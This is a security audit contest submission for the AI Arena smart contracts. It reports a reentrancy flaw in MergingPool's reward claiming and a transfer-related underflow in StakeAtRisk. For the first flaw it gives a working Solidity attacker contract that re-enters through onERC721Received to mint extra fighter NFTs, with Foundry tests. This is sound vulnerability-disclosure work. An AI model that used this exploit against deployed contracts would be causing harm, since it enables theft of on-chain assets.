AI Arena - Kow's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/MergingPool.sol#L149-L159

Vulnerability details

Impact

Winners of MergingPool draws can claim more fighters than expected if they have unclaimed rewards in more than one round.

Proof of Concept

In MergingPool, the last round unclaimed for a user (where claiming starts from) is tracked in the numRoundsClaimed mapping. The issue is when checking each round for rewards, the numRoundsClaimed value is only incremented before minting a fighter, so the state when minting is equivalent to having only claimed the current round in the reward loop. https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/MergingPool.sol#L149-L159

        for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
            numRoundsClaimed[msg.sender] += 1;
            winnersLength = winnerAddresses[currentRound].length;
            for (uint32 j = 0; j < winnersLength; j++) {
                if (msg.sender == winnerAddresses[currentRound][j]) {
                    _fighterFarmInstance.mintFromMergingPool(
                        msg.sender,
                        modelURIs[claimIndex],
                        modelTypes[claimIndex],
                        customAttributes[claimIndex]
                    );

Since minting uses _safeMint, the user can abuse the onERC721Received to reenter and call claimRewards. This will start from the round directly after the round claimed in the parent call.

Consequently, if the user has multiple rounds unclaimed (they could always wait until they've won at least twice), they can claim multiple times on rounds after their first unclaimed round. For each reentrant call, the user claims an extra fighter for every round won after the current start claim round during the call, though total fighters ownable by a single address is still limited to MAX_FIGHTERS_ALLOWED.

Proof of Concept

The PoC below demonstrates a user claiming 6 fighters instead of 3, where there were three rounds where the user won one fighter. Paste the attacker contract below into MergingPool.t.sol.

<details> <summary>Attacker contract</summary>

  contract Attacker {
    FighterFarm public fighterFarm;
    MergingPool public mergingPool;
    address public owner;

    constructor(address _fighterFarm, address _mergingPool) {
        fighterFarm = FighterFarm(_fighterFarm);
        mergingPool = MergingPool(_mergingPool);
        owner = msg.sender;
    }

    function claimRewards() public {
        string[] memory modelUris = new string[](3);
        string[] memory modelTypes = new string[](3);
        uint256[2][] memory customAttributes = new uint256[2][](3);
        for (uint256 i; i < 3; ++i) {
            modelUris[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
            modelTypes[0] = "original";
            customAttributes[0][0] = 1;
            customAttributes[0][1] = 80;
        }
        
        mergingPool.claimRewards(modelUris, modelTypes, customAttributes);
    }

    function withdrawFighters() public {
        uint256 balance = fighterFarm.balanceOf(address(this));
        for (uint256 i = 0; i < balance; ++i) {
            uint256 id = fighterFarm.tokenOfOwnerByIndex(address(this), balance - i - 1);
            fighterFarm.transferFrom(address(this), owner, id);
        }
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        claimRewards();

        return this.onERC721Received.selector;
    }
}

</details>

Paste the test below into MergingPoolTest.

<details> <summary>PoC</summary>

    function testDuplicateClaimDistance() public {
        address alice = makeAddr("Alice");
        vm.prank(alice);
        Attacker attacker = new Attacker(address(_fighterFarmContract), address(_mergingPoolContract));
        address bob = makeAddr("Bob");
        address carol = makeAddr("Carol");

        // both alice and bob start off with one fighter
        _mintFromMergingPool(alice);
        // alice transfers control to attacker contract with callback
        vm.prank(alice);
        _fighterFarmContract.transferFrom(alice, address(attacker), 0);
        _mintFromMergingPool(bob);
        _mintFromMergingPool(carol);

        uint256[] memory winners = new uint256[](2);
        uint256[] memory altWinners = new uint256[](2);
        winners[0] = 0;
        winners[1] = 1;
        altWinners[0] = 1;
        altWinners[1] = 2;
        // set alice's contract as the winner for 1st, 5th, and 9th rounds
        _mergingPoolContract.pickWinner(winners);
        for (uint256 i; i < 3; ++i) {
            _mergingPoolContract.pickWinner(altWinners);
        }
        _mergingPoolContract.pickWinner(winners);
        for (uint256 i; i < 3; ++i) {
            _mergingPoolContract.pickWinner(altWinners);
        }
        _mergingPoolContract.pickWinner(winners);

        vm.startPrank(alice);
        attacker.claimRewards();
        attacker.withdrawFighters();
        vm.stopPrank();

        uint256 aliceBalance = _fighterFarmContract.balanceOf(alice);
        assertEq(aliceBalance, 7); // 1 + (1 + 2 + 3)
        console.log("Alice fighter balance: ", aliceBalance);
    }

</details>

Tools Used

Manual Review, Foundry

Recommended Mitigation Steps

Increase numRoundsClaimed to roundId before the minting loop.

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/StakeAtRisk.sol#L93-L107

Vulnerability details

Impact

A player may be unable to reclaim a fighter's stake at risk for the rest of the round due to underflow in reclaimNRN. Consequently, that fighter's stake at risk remains non-zero and is denied the opportunity to gain points, reducing potential NRN rewards (and merging pool points) for that round.

Vulnerability Details

When a fighter token is transferred, the existing stake at risk for that fighter is not reflected in the new owner's amountLost record. Since stake at risk is linked solely to the fighter, it may still be reclaimed by the new owner, which always reduces amountLost. This can cause the new owner's amountLost to be less than their total stake at risk which may lead to an underflow when reducing amountLost blocking further updates in the round that involve reclaiming stake at risk.

An example scenario where this occurs is outlined below.

• Alice and Bob both own a fighter with 3000e18 NRN staked and zero stake at risk for the current round. They also both have zero amountLost.
• Both Alice's and Bob's fighters lose a battle, increasing their fighters' stake at risk and their amountLost by 3000e18 * 10 / 10000 = 3e18.
• Alice fully unstakes and sells (and transfers) her fighter to Bob.
• Bob's new fighter (previously Alice's) gets challenged and wins a battle, reclaiming a portion of it's stake at risk and decreasing Bob's amountLost both by 3e18 * 10 / 10000 = 3e15.
• Bob's existing fighter wins a battle, which should reclaim 3e18. However, his current amountLost = 3e18 - 3e15 < 3e18, so reclaimNRN reverts due to underflow in amountLost.

Proof of Concept

Paste the test below into RankedBattle.t.sol. It runs the scenario detailed above and should pass.

<details> <summary>PoC</summary>

    function testWinReclaimNRNRevert() public {
        address alice = makeAddr("Alice");
        address bob = makeAddr("Bob");
        _mintFromMergingPool(alice);
        _mintFromMergingPool(bob);
        _fundUserWith4kNeuronByTreasury(alice);
        _fundUserWith4kNeuronByTreasury(bob);

        vm.prank(alice);
        _rankedBattleContract.stakeNRN(3000e18, 0);
        vm.prank(bob);
        _rankedBattleContract.stakeNRN(3000e18, 1);

        // both fighters lose
        vm.startPrank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 0, 2, 1500, false);
        _rankedBattleContract.updateBattleRecord(1, 0, 2, 1500, true);
        vm.stopPrank();

        // alice transfer to bob
        vm.startPrank(alice);
        _rankedBattleContract.unstakeNRN(3000e18, 0);
        _fighterFarmContract.transferFrom(alice, bob, 0);
        vm.stopPrank();

        // bob's new fighter has stake at risk equal to his existing fighter's stake at risk
        console.log("Alice's fighter stake at risk: ", _stakeAtRiskContract.getStakeAtRisk(0));
        console.log("Bob's fighter stake at risk: ", _stakeAtRiskContract.getStakeAtRisk(1));
        // bob has amountLost == stakeAtRisk, which does not include new fighter's stake at risk 
        console.log("Bob amountLost: ", _stakeAtRiskContract.amountLost(bob));

        vm.startPrank(address(_GAME_SERVER_ADDRESS));
        // bob's new fighter gets challenged and wins, decreasing bob's amount lost
        _rankedBattleContract.updateBattleRecord(0, 0, 0, 1490, false);
        // bob's existing fighter wins, but update reverts since bob's amountLost < fighter 1 stake at risk ==> underflow
        assertLt(_stakeAtRiskContract.amountLost(bob), _stakeAtRiskContract.getStakeAtRisk(1));
        vm.expectRevert(abi.encodeWithSignature("Panic(uint256)", 0x11));
        _rankedBattleContract.updateBattleRecord(1, 0, 0, 1490, true);
        vm.stopPrank();
    }

</details>

Tools Used

Manual Review, Foundry

Recommendations

Limit the subtraction of amountLost to its current value so it never underflows.

Assessed type

Under/Overflow